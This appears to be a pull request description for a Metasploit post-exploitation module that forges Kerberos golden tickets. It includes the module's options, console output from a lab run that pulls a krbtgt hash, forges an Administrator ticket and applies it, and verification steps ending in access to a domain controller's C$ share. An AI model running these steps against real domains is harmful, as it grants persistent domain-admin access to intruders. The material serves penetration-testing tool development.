Golden Ticketz Post module

Take the guess work out of creating a golden ticket. Assuming you are running this on a domain compromised computer let the API find the SID values for you, and grab the hash from the database if we have already dumped it...


```
msf post(golden_ticket) > show options

Module options (post/windows/escalate/golden_ticket):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DOMAIN                        no        Target Domain
   Domain SID                    no        Domain SID
   GROUPS                        no        ID of Groups (Comma Seperated)
   ID                            no        Target User ID
   KRBTGT_HASH                   no        KRBTGT NTLM Hash
   SESSION      2                yes       The session to run this module on.
   USE          true             yes       Use the ticket in the current session
   USER                          no        Target User

msf post(golden_ticket) > run

[*] Searching for the domain...
[+] Targeting metasploitable.local
[*] Searching for krbtgt hash in database...
[+] Using metasploitable.local:krbtgt:978a2e2e1dec9804c6b936f254727f9a
[*] Obtaining metasploitable.local SID...
[+] Found metasploitable.local SID: S-1-5-21-2928836948-3642677517-2073454066
[*] Looking up Domain Administrator account...
[+] Found User: Administrator
[*] Creating Golden Ticket for metasploitable.local\Administrator...
[+] Golden Ticket Obtained!
[*] Ticket saved to /home/ben/.msf4/loot/20141213160037_default_172.16.80.100_golden.ticket_864786.bin
[*] Attempting to use the ticket...
[+] Kerberos ticket applied successfully
[*] Post module execution completed
```

## Verification
- Run smart_hashdump on Domain Controller
- Get a session on client machine (or can use DC session)
- use post/windows/escalate/golden_ticket
- set SESSION x
- set USE true
- run
- Enter the session (sessions -i x)
- shell
- dir \\target_DC.fqdn.domain\c$
After some discussion in IRC, I see why you did it this way and it makes more sense than constraining the AREL query.